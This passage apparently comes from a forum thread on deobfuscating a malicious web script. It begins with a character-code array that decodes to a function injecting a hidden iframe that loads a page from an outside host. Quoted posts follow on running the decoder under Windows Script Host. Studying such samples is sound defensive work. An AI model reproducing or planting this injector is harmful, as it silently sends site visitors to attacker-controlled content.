      102, 117, 110, 99, 116, 105, 111, 110, 32, 105, 102, 114, 97, 109, 101, 114, 40, 41, 123,

      9, 9, 9, 118, 97, 114, 32, 102, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99,

      114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 39, 105, 102, 114, 97, 109,

      101, 39, 41, 59, 102, 46, 115, 101, 116, 65, 116, 116, 114, 105, 98, 117, 116, 101, 40, 39,

      115, 114, 99, 39, 44, 39, 104, 116, 116, 112, 58, 47, 47, 107, 111, 112, 111, 108, 101, 52,

      105, 108, 111, 57, 46, 99, 122, 46, 99, 99, 47, 105, 47, 102, 116, 112, 49, 39, 41, 59, 102, 46,

      115, 116, 121, 108, 101, 46, 118, 105, 115, 105, 98, 105, 108, 105, 116, 121, 61, 39, 104, 105,

      100, 100, 101, 110, 39, 59, 102, 46, 115, 116, 121, 108, 101, 46, 112, 111, 115, 105, 116, 105,

      111, 110, 61, 39, 97, 98, 115, 111, 108, 117, 116, 101, 39, 59, 102, 46, 115, 116, 121, 108, 101,

      46, 108, 101, 102, 116, 61, 39, 48, 39, 59, 102, 46, 115, 116, 121, 108, 101, 46, 116, 111, 112, 61,

      39, 48, 39, 59, 102, 46, 115, 101, 116, 65, 116, 116, 114, 105, 98, 117, 116, 101, 40, 39, 119, 105,

      100, 116, 104, 39, 44, 39, 49, 48, 39, 41, 59, 102, 46, 115, 101, 116, 65, 116, 116, 114, 105, 98, 117,

      116, 101, 40, 39, 104, 101, 105, 103, 104, 116, 39, 44, 39, 49, 48, 39, 41, 59, 9, 9, 9, 100, 111, 99,

      117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97,

      103, 78, 97, 109, 101, 40, 39, 98, 111, 100, 121, 39, 41, 91, 48, 93, 46, 97, 112, 112, 101, 110, 100,

      67, 104, 105, 108, 100, 40, 102, 41, 59, 9, 9, 125]);



end;

Quote:

Originally Posted by qkumba (Post 76663)

Don't paste in FireFox, just run it from the command prompt.
The script that you show is executable directly when saved as a .js file.

Windows Script Host will result an error:
Error: "'document' is undefined
Code: 800A1391

Do you have any workaround?

Quote:

Originally Posted by bolzano_1989 (Post 76617)

I follow your instruction, but:
If I put the following code into a .wsf (Windows Script File) and run it:
...
I will get the result:

Code:

Line: 29

Char: 12

Error: Invalid entity reference

Code: 8004000C

Source: Windows Script Host

Take another look. The code that you showed here is not the same as the code that you showed earlier. You have "['qwtqwt'];" became "['qwtqwt']();", a "r=0" line is missing, other differences, too. Please use the code that you showed when I first replied. It does run and does display the decoded version.

Quote:

Originally Posted by qkumba (Post 76829)

Ah, thank you :D, it works with the modified javascript code.
Last time, I used the original script, so it didn't work with your trick :p .